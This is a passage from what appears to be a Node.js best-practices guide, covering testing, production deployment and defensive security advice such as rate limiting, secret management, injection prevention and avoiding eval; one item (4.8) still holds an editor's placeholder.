spends no brain CPU on understanding the test plan **Otherwise:** Not only you spend long daily hours on understanding the main code, but now also what should have been the simple part of the day (testing) stretches your brain 🔗 [**Read More: Structure tests by the AAA pattern**](./sections/testingandquality/aaa.md) <br/><br/> ## ![✔] 4.4 Ensure Node version is unified ### `🌟 #new` **TL;DR:** Use tools that encourage or enforce the same Node.js version across different environments and developers. Tools like [nvm](https://github.com/nvm-sh/nvm), and [Volta](https://volta.sh/) allow specifying the project's version in a file so each team member can run a single command to conform with the project's version. Optionally, this definition can be replicated to CI and the production runtime (e.g., copy the specified value to .Dockerfile build and to the CI declaration file) **Otherwise:** A developer might face or miss an error because she uses a different Node.js version than her teammates. Even worse - the production runtime might be different than the environment where tests were executed <br/><br/> ## ![✔] 4.5 Avoid global test fixtures and seeds, add data per-test **TL;DR:** To prevent test coupling and easily reason about the test flow, each test should add and act on its own set of DB rows. Whenever a test needs to pull or assume the existence of some DB data - it must explicitly add that data and avoid mutating any other records **Otherwise:** Consider a scenario where deployment is aborted due to failing tests, team is now going to spend precious investigation time that ends in a sad conclusion: the system works well, the tests however interfere with each other and break the build 🔗 [**Read More: Avoid global test fixtures**](./sections/testingandquality/avoid-global-test-fixture.md) <br/><br/> ## ![✔] 4.6 Tag your tests **TL;DR:** Different tests must run on different scenarios: quick smoke, IO-less, tests should run when a developer saves or commits a file, full end-to-end tests usually run when a new pull request is submitted, etc. This can be achieved by tagging tests with keywords like #cold #api #sanity so you can grep with your testing harness and invoke the desired subset. For example, this is how you would invoke only the sanity test group with [Mocha](https://mochajs.org/): mocha --grep 'sanity' **Otherwise:** Running all the tests, including tests that perform dozens of DB queries, any time a developer makes a small change can be extremely slow and keeps developers away from running tests <br/><br/> ## ![✔] 4.7 Check your test coverage, it helps to identify wrong test patterns **TL;DR:** Code coverage tools like [Istanbul](https://github.com/istanbuljs/istanbuljs)/[NYC](https://github.com/istanbuljs/nyc) are great for 3 reasons: it comes for free (no effort is required to benefit this reports), it helps to identify a decrease in testing coverage, and last but not least it highlights testing mismatches: by looking at colored code coverage reports you may notice, for example, code areas that are never tested like catch clauses (meaning that tests only invoke the happy paths and not how the app behaves on errors). Set it to fail builds if the coverage falls under a certain threshold **Otherwise:** There won't be any automated metric telling you when a large portion of your code is not covered by testing <br/><br/> ## ![✔] 4.8 Use production-like environment for e2e testing **TL;DR:** End to end (e2e) testing which includes live data used to be the weakest link of the CI process as it depends on multiple heavy services like DB. Use an environment which is as close to your real production environment as possible like a-continue (Missed -continue here, needs content. Judging by the **Otherwise** clause, this should mention docker-compose) **Otherwise:** Without docker-compose, teams must maintain a testing DB for each testing environment including developers' machines, keep all those DBs in sync so test results won't vary across environments <br/><br/> ## ![✔] 4.9 Refactor regularly using static analysis tools **TL;DR:** Using static analysis tools helps by giving objective ways to improve code quality and keeps your code maintainable. You can add static analysis tools to your CI build to fail when it finds code smells. Its main selling points over plain linting are the ability to inspect quality in the context of multiple files (e.g. detect duplications), perform advanced analysis (e.g. code complexity), and follow the history and progress of code issues. Two examples of tools you can use are [Sonarqube](https://www.sonarqube.org/) (2,600+ [stars](https://github.com/SonarSource/sonarqube)) and [Code Climate](https://codeclimate.com/) (1,500+ [stars](https://github.com/codeclimate/codeclimate)). **Otherwise:** With poor code quality, bugs and performance will always be an issue that no shiny new library or state of the art features can fix 🔗 [**Read More: Refactoring!**](./sections/testingandquality/refactoring.md) <br/><br/> ## ![✔] 4.10 Mock responses of external HTTP services ### `🌟 #new` **TL;DR:** Use network mocking tools to simulate responses of external collaborators' services that are approached over the network (e.g., REST, Graph). This is imperative not only to isolate the component under test but mostly to simulate non-happy path flows. Tools like [nock](https://github.com/nock/nock) (in-process) or [Mock-Server](https://www.mock-server.com/) allow defining a specific response of external service in a single line of code. Remember to simulate also errors, delays, timeouts, and any other event that is likely to happen in production **Otherwise:** Allowing your component to reach real external services instances will likely result in naive tests that mostly cover happy paths. The tests might also be flaky and slow 🔗 [**Read More: Mock external services**](./sections/testingandquality/mock-external-services.md) ## ![✔] 4.11 Test your middlewares in isolation **TL;DR:** When a middleware holds some immense logic that spans many requests, it is worth testing it in isolation without waking up the entire web framework. This can be easily achieved by stubbing and spying on the {req, res, next} objects **Otherwise:** A bug in Express middleware === a bug in all or most requests 🔗 [**Read More: Test middlewares in isolation**](./sections/testingandquality/test-middlewares.md) ## ![✔] 4.12 Specify a port in production, randomize in testing ### `🌟 #new` **TL;DR:** When testing against the API, it's common and desirable to initialize the web server inside the tests. Let the server randomize the web server port in testing to prevent collisions. If you're using Node.js http server (used by most frameworks), doing so demands nothing but passing a port number zero - this will randomize an available port **Otherwise:** Specifying a fixed port will prevent two testing processes from running at the same time. Most of the modern test runners run with multiple processes by default 🔗 [**Read More: Randomize a port for testing**](./sections/testingandquality/randomize-port.md) ## ![✔] 4.13 Test the five possible outcomes ### `🌟 #new` **TL;DR:** When testing a flow, ensure to cover five potential categories. Any time some action is triggered (e.g., API call), a reaction occurs, a meaningful **outcome** is produced and calls for testing. There are five possible outcome types for every flow: a response, a visible state change (e.g., DB), an outgoing API call, a new message in a queue, and an observability call (e.g., logging, metric). See a [checklist here](https://testjavascript.com/wp-content/uploads/2021/10/the-backend-checklist.pdf). Each type of outcome comes with unique challenges and techniques to mitigate those challenges - we have a dedicated guide about this topic: [Node.js testing - beyond the basics](https://github.com/testjavascript/nodejs-integration-tests-best-practices) **Otherwise:** Consider a case when testing the addition of a new product to the system. It's common to see tests that assert on a valid response only. What if the product was failed to persist regardless of the positive response? what if when adding a new product demands calling some external service, or putting a message in the queue - shouldn't the test assert these outcomes as well? It's easy to overlook various paths, this is where a [checklist comes handy](https://testjavascript.com/wp-content/uploads/2021/10/the-backend-checklist.pdf) 🔗 [**Read More: Test five outcomes**](./sections/testingandquality/test-five-outcomes.md) <br/><br/><br/> <p align="right"><a href="#table-of-contents">⬆ Return to top</a></p> # `5. Going To Production Practices` ## ![✔] 5.1. Monitoring **TL;DR:** Monitoring is a game of finding out issues before customers do – obviously this should be assigned unprecedented importance. The market is overwhelmed with offers thus consider starting with defining the basic metrics you must follow (my suggestions inside), then go over additional fancy features and choose the solution that ticks all boxes. In any case, the 4 layers of observability must be covered: uptime, metrics with focus on user-facing symptoms and Node.js technical metrics like event loop lag, distributed flows measurement with Open Telemetry and logging. Click ‘Read More’ below for an overview of the solutions **Otherwise:** Failure === disappointed customers. Simple 🔗 [**Read More: Monitoring!**](./sections/production/monitoring.md) <br/><br/> ## ![✔] 5.2. Increase the observability using smart logging **TL;DR:** Logs can be a dumb warehouse of debug statements or the enabler of a beautiful dashboard that tells the story of your app. Plan your logging platform from day 1: how logs are collected, stored and analyzed to ensure that the desired information (e.g. error rate, following an entire transaction through services and servers, etc) can really be extracted **Otherwise:** You end up with a black box that is hard to reason about, then you start re-writing all logging statements to add additional information 🔗 [**Read More: Increase transparency using smart logging**](./sections/production/smartlogging.md) <br/><br/> ## ![✔] 5.3. Delegate anything possible (e.g. gzip, SSL) to a reverse proxy **TL;DR:** Node is quite bad at doing CPU intensive tasks like gzipping, SSL termination, etc. You should use specialized infrastructure like nginx, HAproxy or cloud vendor services instead **Otherwise:** Your poor single thread will stay busy doing infrastructural tasks instead of dealing with your application core and performance will degrade accordingly 🔗 [**Read More: Delegate anything possible (e.g. gzip, SSL) to a reverse proxy**](./sections/production/delegatetoproxy.md) <br/><br/> ## ![✔] 5.4. Lock dependencies **TL;DR:** Your code must be identical across all environments, but without a special lockfile npm lets dependencies drift across environments. Ensure to commit your package-lock.json so all the environments will be identical **Otherwise:** QA will thoroughly test the code and approve a version that will behave differently in production. Even worse, different servers in the same production cluster might run different code 🔗 [**Read More: Lock dependencies**](./sections/production/lockdependencies.md) <br/><br/> ## ![✔] 5.5. Guard process uptime using the right tool **TL;DR:** The process must go on and get restarted upon failures. Modern runtime platforms like Docker-ized platforms (e.g. Kubernetes), and Serverless take care for this automatically. When the app is hosted on a bare metal server, one must take care for a process management tools like [systemd](https://systemd.io/). Avoid including a custom process management tool in a modern platform that monitor an app instance (e.g., Kubernetes) - doing so will hide failures from the infrastructure. When the underlying infrastructure is not aware of errors, it can't perform useful mitigation steps like re-placing the instance in a different location **Otherwise:** Running dozens of instances without a clear strategy and too many tools together (cluster management, docker, PM2) might lead to DevOps chaos 🔗 [**Read More: Guard process uptime using the right tool**](./sections/production/guardprocess.md) <br/><br/> ## ![✔] 5.6. Utilize all CPU cores **TL;DR:** At its basic form, a Node app runs on a single CPU core while all others are left idling. It’s your duty to replicate the Node process and utilize all CPUs. Most of the modern run-times platform (e.g., Kubernetes) allow replicating instances of the app but they won't verify that all cores are utilized - this is your duty. If the app is hosted on a bare server, it's also your duty to use some process replication solution (e.g. systemd) **Otherwise:** Your app will likely utilize only 25% of its available resources(!) or even less. Note that a typical server has 4 CPU cores or more, naive deployment of Node.js utilizes only 1 (even using PaaS services like AWS beanstalk!) 🔗 [**Read More: Utilize all CPU cores**](./sections/production/utilizecpu.md) <br/><br/> ## ![✔] 5.7. Create a ‘maintenance endpoint’ **TL;DR:** Expose a set of system-related information, like memory usage and REPL, etc in a secured API. Although it’s highly recommended to rely on standard and battle-tested tools, some valuable information and operations are easier done using code **Otherwise:** You’ll find that you’re performing many “diagnostic deploys” – shipping code to production only to extract some information for diagnostic purposes 🔗 [**Read More: Create a ‘maintenance endpoint’**](./sections/production/createmaintenanceendpoint.md) <br/><br/> ## ![✔] 5.8. Discover the unknowns using APM products ### `📝 #updated` **TL;DR:** Consider adding another safety layer to the production stack - APM. While the majority of symptoms and causes can be detected using traditional monitoring techniques, in a distributed system there is more than meets the eye. Application monitoring and performance products (a.k.a. APM) can auto-magically go beyond traditional monitoring and provide additional layer of discovery and developer-experience. For example, some APM products can highlight a transaction that loads too slow on the **end-user's side** while suggesting the root cause. APMs also provide more context for developers who try to troubleshoot a log error by showing what was the server busy with when the error occurred. To name a few example **Otherwise:** You might spend great effort on measuring API performance and downtimes, probably you’ll never be aware which is your slowest code parts under real-world scenario and how these affect the UX 🔗 [**Read More: Discover errors and downtime using APM products**](./sections/production/apmproducts.md) <br/><br/> ## ![✔] 5.9. Make your code production-ready **TL;DR:** Code with the end in mind, plan for production from day 1. This sounds a bit vague so I’ve compiled a few development tips that are closely related to production maintenance (click 'Read More') **Otherwise:** A world champion IT/DevOps guy won’t save a system that is badly written 🔗 [**Read More: Make your code production-ready**](./sections/production/productioncode.md) <br/><br/> ## ![✔] 5.10. Measure and guard the memory usage **TL;DR:** Node.js has controversial relationships with memory: the v8 engine has soft limits on memory usage (1.4GB) and there are known paths to leak memory in Node’s code – thus watching Node’s process memory is a must. In small apps, you may gauge memory periodically using shell commands but in medium-large apps consider baking your memory watch into a robust monitoring system **Otherwise:** Your process memory might leak a hundred megabytes a day like how it happened at [Walmart](https://www.joyent.com/blog/walmart-node-js-memory-leak) 🔗 [**Read More: Measure and guard the memory usage**](./sections/production/measurememory.md) <br/><br/> ## ![✔] 5.11. Get your frontend assets out of Node **TL;DR:** Serve frontend content using a specialized infrastructure (nginx, S3, CDN) because Node performance gets hurt when dealing with many static files due to its single-threaded model. One exception to this guideline is when doing server-side rendering **Otherwise:** Your single Node thread will be busy streaming hundreds of html/images/angular/react files instead of allocating all its resources for the task it was born for – serving dynamic content 🔗 [**Read More: Get your frontend assets out of Node**](./sections/production/frontendout.md) <br/><br/> ## ![✔] 5.12. Strive to be stateless **TL;DR:** Store any type of _data_ (e.g. user sessions, cache, uploaded files) within external data stores. When the app holds data in-process this adds additional layer of maintenance complexity like routing users to the same instance and higher cost of restarting a process. To enforce and encourage a stateless approach, most modern runtime platforms allows 'reapp-ing' instances periodically **Otherwise:** Failure at a given server will result in application downtime instead of just killing a faulty machine. Moreover, scaling-out elasticity will get more challenging due to the reliance on a specific server 🔗 [**Read More: Be stateless, kill your Servers almost every day**](./sections/production/bestateless.md) <br/><br/> ## ![✔] 5.13. Use tools that automatically detect vulnerabilities **TL;DR:** Even the most reputable dependencies such as Express have known vulnerabilities (from time to time) that can put a system at risk. This can be easily be tamed using community and commercial tools that constantly check for vulnerabilities and warn (locally or at GitHub), some can even patch them immediately **Otherwise:** Keeping your code clean from vulnerabilities without dedicated tools will require you to constantly follow online publications about new threats. Quite tedious 🔗 [**Read More: Use tools that automatically detect vulnerabilities**](./sections/production/detectvulnerabilities.md) <br/><br/> ## ![✔] 5.14. Assign a transaction id to each log statement **TL;DR:** Assign the same identifier, transaction-id: uuid(), to each log entry within a single request (also known as correlation-id/tracing-id/request-context). Then when inspecting errors in logs, easily conclude what happened before and after. Node has a built-in mechanism, [AsyncLocalStorage](https://nodejs.org/api/async_context.html), for keeping the same context across asynchronous calls. see code examples inside **Otherwise:** Looking at a production error log without the context – what happened before – makes it much harder and slower to reason about the issue 🔗 [**Read More: Assign ‘TransactionId’ to each log statement**](./sections/production/assigntransactionid.md) <br/><br/> ## ![✔] 5.15. Set `NODE_ENV=production` **TL;DR:** Set the environment variable `NODE_ENV` to ‘production’ or ‘development’ to flag whether production optimizations should get activated – some npm packages determine the current environment and optimize their code for production **Otherwise:** Omitting this simple property might greatly degrade performance when dealing with some specific libraries like Express server-side rendering 🔗 [**Read More: Set NODE_ENV=production**](./sections/production/setnodeenv.md) <br/><br/> ## ![✔] 5.16. Design automated, atomic and zero-downtime deployments **TL;DR:** Research shows that teams who perform many deployments lower the probability of severe production issues. Fast and automated deployments that don’t require risky manual steps and service downtime significantly improve the deployment process. You should probably achieve this using Docker combined with CI tools as they became the industry standard for streamlined deployment **Otherwise:** Long deployments -> production downtime & human-related error -> team unconfident in making deployment -> fewer deployments and features <br/><br/> ## ![✔] 5.17. Use an LTS release of Node.js **TL;DR:** Ensure you are using an LTS version of Node.js to receive critical bug fixes, security updates and performance improvements **Otherwise:** Newly discovered bugs or vulnerabilities could be used to exploit an application running in production, and your application may become unsupported by various modules and harder to maintain 🔗 [**Read More: Use an LTS release of Node.js**](./sections/production/LTSrelease.md) <br/><br/> ## ![✔] 5.18. Log to stdout, avoid specifying log destination within the app ### `📝 #updated` **TL;DR:** Log destinations should not be hard-coded by developers within the application code, but instead should be defined by the execution environment the application runs in. Developers should write logs to `stdout` using a logger utility and then let the execution environment (container, server, etc.) pipe the `stdout` stream to the appropriate destination (i.e. Splunk, Graylog, ElasticSearch, etc.). **Otherwise:** If developers set the log routing, less flexibility is left for the ops professional who wishes to customize it. Beyond this, if the app tries to log directly to a remote location (e.g., Elastic Search), in case of panic or crash - further logs that might explain the problem won't arrive 🔗 [**Read More: Log Routing**](./sections/production/logrouting.md) <br/><br/> ## ![✔] 5.19. Install your packages with `npm ci` **TL;DR:** Run `npm ci` to strictly do a clean install of your dependencies matching package.json and package-lock.json. Obviously production code must use the exact version of the packages that were used for testing. While package-lock.json file sets strict version for dependencies, in case of mismatch with the file package.json, the command 'npm install' will treat package.json as the source of truth. On the other hands, the command 'npm ci' will exit with error in case of mismatch between these files **Otherwise:** QA will thoroughly test the code and approve a version that will behave differently in production. Even worse, different servers in the same production cluster might run different code. 🔗 [**Read More: Use npm ci**](./sections/production/installpackageswithnpmci.md) <br/><br/><br/> <p align="right"><a href="#table-of-contents">⬆ Return to top</a></p> # `6. Security Best Practices` <div align="center"> <img src="https://img.shields.io/badge/OWASP%20Threats-Top%2010-green.svg" alt="54 items"/> </div> ## ![✔] 6.1. Embrace linter security rules <a href="https://www.owasp.org/index.php/Top_10-2017_A1-Injection" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20XSS%20-green.svg" alt=""/></a> **TL;DR:** Make use of security-related linter plugins such as [eslint-plugin-security](https://github.com/nodesecurity/eslint-plugin-security) to catch security vulnerabilities and issues as early as possible, preferably while they're being coded. This can help catching security weaknesses like using eval, invoking a child process or importing a module with a string literal (e.g. user input). Click 'Read more' below to see code examples that will get caught by a security linter **Otherwise:** What could have been a straightforward security weakness during development becomes a major issue in production. Also, the project may not follow consistent code security practices, leading to vulnerabilities being introduced, or sensitive secrets committed into remote repositories 🔗 [**Read More: Lint rules**](./sections/security/lintrules.md) <br/><br/> ## ![✔] 6.2. Limit concurrent requests using a middleware <a href="https://www.owasp.org/index.php/Denial_of_Service" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg" alt=""/></a> **TL;DR:** DOS attacks are very popular and relatively easy to conduct. Implement rate limiting using an external service such as cloud load balancers, cloud firewalls, nginx, [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible) package, or (for smaller and less critical apps) a rate-limiting middleware (e.g. [express-rate-limit](https://www.npmjs.com/package/express-rate-limit)) **Otherwise:** An application could be subject to an attack resulting in a denial of service where real users receive a degraded or unavailable service. 🔗 [**Read More: Implement rate limiting**](./sections/security/limitrequests.md) <br/><br/> ## ![✔] 6.3 Extract secrets from config files or use packages to encrypt them <a href="https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A3:Sensitive%20Data%20Exposure%20-green.svg" alt=""/></a> **TL;DR:** Never store plain-text secrets in configuration files or source code. Instead, make use of secret-management systems like Vault products, Kubernetes/Docker Secrets, or using environment variables. As a last resort, secrets stored in source control must be encrypted and managed (rolling keys, expiring, auditing, etc). Make use of pre-commit/push hooks to prevent committing secrets accidentally **Otherwise:** Source control, even for private repositories, can mistakenly be made public, at which point all secrets are exposed. Access to source control for an external party will inadvertently provide access to related systems (databases, apis, services, etc). 🔗 [**Read More: Secret management**](./sections/security/secretmanagement.md) <br/><br/> ## ![✔] 6.4. Prevent query injection vulnerabilities with ORM/ODM libraries <a href="https://www.owasp.org/index.php/Top_10-2017_A1-Injection" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg" alt=""/></a> **TL;DR:** To prevent SQL/NoSQL injection and other malicious attacks, always make use of an ORM/ODM or a database library that escapes data or supports named or indexed parameterized queries, and takes care of validating user input for expected types. Never just use JavaScript template strings or string concatenation to inject values into queries as this opens your application to a wide spectrum of vulnerabilities. All the reputable Node.js data access libraries (e.g. [Sequelize](https://github.com/sequelize/sequelize), [Knex](https://github.com/tgriesser/knex), [mongoose](https://github.com/Automattic/mongoose)) have built-in protection against injection attacks. **Otherwise:** Unvalidated or unsanitized user input could lead to operator injection when working with MongoDB for NoSQL, and not using a proper sanitization system or ORM will easily allow SQL injection attacks, creating a giant vulnerability. 🔗 [**Read More: Query injection prevention using ORM/ODM libraries**](./sections/security/ormodmusage.md) <br/><br/> ## ![✔] 6.5. Collection of generic security best practices **TL;DR:** This is a collection of security advice that is not related directly to Node.js - the Node implementation is not much different than any other language. Click read more to skim through. 🔗 [**Read More: Common security best practices**](./sections/security/commonsecuritybestpractices.md) <br/><br/> ## ![✔] 6.6. Adjust the HTTP response headers for enhanced security <a href="https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg" alt=""/></a> **TL;DR:** Your application should be using secure headers to prevent attackers from using common attacks like cross-site scripting (XSS), clickjacking and other malicious attacks. These can be configured easily using modules like [helmet](https://www.npmjs.com/package/helmet). **Otherwise:** Attackers could perform direct attacks on your application's users, leading to huge security vulnerabilities 🔗 [**Read More: Using secure headers in your application**](./sections/security/secureheaders.md) <br/><br/> ## ![✔] 6.7. Constantly and automatically inspect for vulnerable dependencies <a href="https://www.owasp.org/index.php/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Known%20Vulnerabilities%20-green.svg" alt=""/></a> **TL;DR:** With the npm ecosystem it is common to have many dependencies for a project. Dependencies should always be kept in check as new vulnerabilities are found. Use tools like [npm audit](https://docs.npmjs.com/cli/audit) or [snyk](https://snyk.io/) to track, monitor and patch vulnerable dependencies. Integrate these tools with your CI setup so you catch a vulnerable dependency before it makes it to production. **Otherwise:** An attacker could detect your web framework and attack all its known vulnerabilities. 🔗 [**Read More: Dependency security**](./sections/security/dependencysecurity.md) <br/><br/> ## ![✔] 6.8. Protect Users' Passwords/Secrets using bcrypt or scrypt <a href="https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg" alt=""/></a> **TL;DR:** Passwords or secrets (e.g. API keys) should be stored using a secure hash + salt function like `bcrypt`,`scrypt`, or worst case `pbkdf2`. **Otherwise:** Passwords and secrets that are stored without using a secure function are vulnerable to brute forcing and dictionary attacks that will lead to their disclosure eventually. 🔗 [**Read More: User Passwords**](./sections/security/userpasswords.md) <br/><br/> ## ![✔] 6.9. Escape HTML, JS and CSS output <a href="https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg" alt=""/></a> **TL;DR:** Untrusted data that is sent down to the browser might get executed instead of just being displayed, this is commonly referred as a cross-site-scripting (XSS) attack. Mitigate this by using dedicated libraries that explicitly mark the data as pure content that should never get executed (i.e. encoding, escaping) **Otherwise:** An attacker might store malicious JavaScript code in your DB which will then be sent as-is to the poor clients 🔗 [**Read More: Escape output**](./sections/security/escape-output.md) <br/><br/> ## ![✔] 6.10. Validate incoming JSON schemas <a href="https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7: XSS%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg" alt=""/></a> **TL;DR:** Validate the incoming requests' body payload and ensure it meets expectations, fail fast if it doesn't. To avoid tedious validation coding within each route you may use lightweight JSON-based validation schemas such as [jsonschema](https://www.npmjs.com/package/jsonschema) or [joi](https://www.npmjs.com/package/joi) **Otherwise:** Your generosity and permissive approach greatly increases the attack surface and encourages the attacker to try out many inputs until they find some combination to crash the application 🔗 [**Read More: Validate incoming JSON schemas**](./sections/security/validation.md) <br/><br/> ## ![✔] 6.11. Support blocklisting JWTs <a href="https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg" alt=""/></a> **TL;DR:** When using JSON Web Tokens (for example, with [Passport.js](https://github.com/jaredhanson/passport)), by default there's no mechanism to revoke access from issued tokens. Once you discover some malicious user activity, there's no way to stop them from accessing the system as long as they hold a valid token. Mitigate this by implementing a blocklist of untrusted tokens that are validated on each request. **Otherwise:** Expired, or misplaced tokens could be used maliciously by a third party to access an application and impersonate the owner of the token. 🔗 [**Read More: Blocklist JSON Web Tokens**](./sections/security/expirejwt.md) <br/><br/> ## ![✔] 6.12. Prevent brute-force attacks against authorization <a href="https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg" alt=""/></a> **TL;DR:** A simple and powerful technique is to limit authorization attempts using two metrics: 1. The first is number of consecutive failed attempts by the same user unique ID/name and IP address. 2. The second is number of failed attempts from an IP address over some long period of time. For example, block an IP address if it makes 100 failed attempts in one day. **Otherwise:** An attacker can issue unlimited automated password attempts to gain access to privileged accounts on an application 🔗 [**Read More: Login rate limiting**](./sections/security/login-rate-limit.md) <br/><br/> ## ![✔] 6.13. Run Node.js as non-root user <a href="https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A5:Broken%20Access%20Access%20Control-green.svg" alt=""/></a> **TL;DR:** There is a common scenario where Node.js runs as a root user with unlimited permissions. For example, this is the default behaviour in Docker containers. It's recommended to create a non-root user and either bake it into the Docker image (examples given below) or run the process on this user's behalf by invoking the container with the flag "-u username" **Otherwise:** An attacker who manages to run a script on the server gets unlimited power over the local machine (e.g. change iptable and re-route traffic to their server) 🔗 [**Read More: Run Node.js as non-root user**](./sections/security/non-root-user.md) <br/><br/> ## ![✔] 6.14. Limit payload size using a reverse-proxy or a middleware <a href="https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A1-Injection" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg" alt=""/></a> **TL;DR:** The bigger the body payload is, the harder your single thread works in processing it. This is an opportunity for attackers to bring servers to their knees without tremendous amount of requests (DOS/DDOS attacks). Mitigate this limiting the body size of incoming requests on the edge (e.g. firewall, ELB) or by configuring [express body parser](https://github.com/expressjs/body-parser) to accept only small-size payloads **Otherwise:** Your application will have to deal with large requests, unable to process the other important work it has to accomplish, leading to performance implications and vulnerability towards DOS attacks 🔗 [**Read More: Limit payload size**](./sections/security/requestpayloadsizelimit.md) <br/><br/> ## ![✔] 6.15. Avoid JavaScript eval statements <a href="https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A1-Injection" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg" alt=""/></a> **TL;DR:** `eval` is evil as it allows executing custom JavaScript code during run time. This is not just a performance concern but also an important security concern due to malicious JavaScript code that may be sourced from user input. Another language feature that should be avoided is `new Function` constructor. `setTimeout` and `setInterval` should never be passed dynamic JavaScript code either. **Otherwise:** Malicious JavaScript code finds a way into text passed into `eval` or other real-time evaluating JavaScript language functions, and will gain complete access to JavaScript permissions on the page. This vulnerability is often manifested as an XSS attack. 🔗 [**Read More: Avoid JavaScript eval statements**](./sections/security/avoideval.md) <br/><br/> ## ![✔] 6.16. Prevent evil RegEx from overloading your single thread execution <a href="https://www.owasp.org/index.php/Denial_of_Service" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg" alt=""/></a> **TL;DR:** Regular Expressions, while being handy, pose a real threat to JavaScript applications at large, and the Node.js platform in particular. A user input for text to match might require an outstanding amount of CPU cycles to process. RegEx processing might be inefficient to an extent that a single request that validates 10 words can block the entire event loop for 6 seconds and set the CPU on 🔥. For that reason, prefer third-party validation packages like [validator.js](https://github.com/chriso/validator.js) instead of writing your own Regex patterns, or make use of [safe-regex](https://github.com/substack/safe-regex) to detect vulnerable regex patterns **Otherwise:** Poorly written regexes could be susceptible to Regular Expression DoS attacks that will block the event loop completely. For example, the popular `moment` package was found vulnerable with malicious RegEx usage in November of 2017 🔗 [**Read More: Prevent malicious RegEx**](./sections/security/regex.md) <br/><br/> ## ![✔] 6.17. Avoid module loading using a variable <a href="https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A1-Injection" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg" alt=""/></a> **TL;DR:** Avoid requiring/importing another file with a path that was given as parameter due to the concern that it could have originated from user input. This rule can be extended for accessing files in general (i.e. `fs.readFile()`) or other sensitive resource access with dynamic variables originating from user input. [Eslint-plugin-security](https://www.npmjs.com/package/eslint-plugin-security) linter can catch such patterns and warn early enough **Otherwise:** Malicious user input could find its way to a parameter that is used to require tampered files, for example, a previously uploaded file on the file system, or access already existing system files. 🔗 [**Read More: Safe module loading**](./sections/security/safemoduleloading.md) <br/><br/> ## ![✔] 6.18. Run unsafe code in a sandbox <a href="https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)" target="_blank"><img src="https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg" alt=""/></a> <a href="https://www.owasp.org/index.php/Top_10-2017_A1-Injection" target="_blank"><img 